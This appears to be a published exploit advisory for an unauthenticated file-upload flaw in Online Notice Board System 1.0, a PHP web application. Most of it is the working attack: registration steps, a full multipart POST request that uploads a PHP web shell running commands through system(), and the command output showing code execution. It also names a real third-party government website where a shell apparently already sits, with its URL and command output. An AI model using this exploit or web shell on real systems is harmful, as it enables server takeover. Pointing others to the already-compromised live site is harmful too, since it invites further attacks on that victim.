# Date: 2020-08-13 # Exploit Author: Mosaaed # Vendor Homepage: https://www.sourcecodester.com/php/14317/online-notice-board-system.html # Software Link: https://www.sourcecodester.com/download-code?nid=14317&title=Online+Notice+Board+System+in+PHP+Free+Source+Code # Version: Version 1.0 # Category: Web Application # Tested on: Kali Linux #Description: allows an attacker to register and upload shell file. #Step 1: register with this link http://localhost/onbs/index.php?option=New_user #Step 2: Enter the information like username ,email ,data and shell file #step 3: then go to this path /onbs/images/attacker@email.com/shell.php #example : POST /onbs/index.php?option=New_user HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------32859291944290603147363660265 Content-Length: 1705 Origin: http://localhost DNT: 1 Connection: close Referer: http://localhost/onbs/index.php?option=New_user Cookie: PHPSESSID=b7j92ccoqit6fgrbnjps3rb010 Upgrade-Insecure-Requests: 1 Sec-GPC: 1 -----------------------------32859291944290603147363660265 Content-Disposition: form-data; name="n" test -----------------------------32859291944290603147363660265 Content-Disposition: form-data; name="e" test@test.test -----------------------------32859291944290603147363660265 Content-Disposition: form-data; name="p" test@test.test -----------------------------32859291944290603147363660265 Content-Disposition: form-data; name="mob" 966555555555 -----------------------------32859291944290603147363660265 Content-Disposition: form-data; name="gen" m -----------------------------32859291944290603147363660265 Content-Disposition: form-data; name="hob[]" reading -----------------------------32859291944290603147363660265 Content-Disposition: form-data; name="hob[]" singin -----------------------------32859291944290603147363660265 Content-Disposition: form-data; name="hob[]" playing -----------------------------32859291944290603147363660265 Content-Disposition: form-data; name="img"; filename="m.php" Content-Type: application/x-php <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> -----------------------------32859291944290603147363660265 Content-Disposition: form-data; name="yy" 1996 -----------------------------32859291944290603147363660265 Content-Disposition: form-data; name="mm" 6 -----------------------------32859291944290603147363660265 Content-Disposition: form-data; name="dd" 7 -----------------------------32859291944290603147363660265 Content-Disposition: form-data; name="save" Save -----------------------------32859291944290603147363660265-- #then you will see your shell here #http://localhost/onbs/images/test@test.test/m.php?cmd=id #uid=33(www-data) gid=33(www-data) groups=33(www-data) #here website for test : http://www.sumajktccl.go.tz/onbs/ https://www.sumajktccl.go.tz/onbs/images/zx@zx.zx/re.php?cmd=id uid=1195(sumacclgo) gid=1188(sumacclgo) groups=1188(sumacclgo)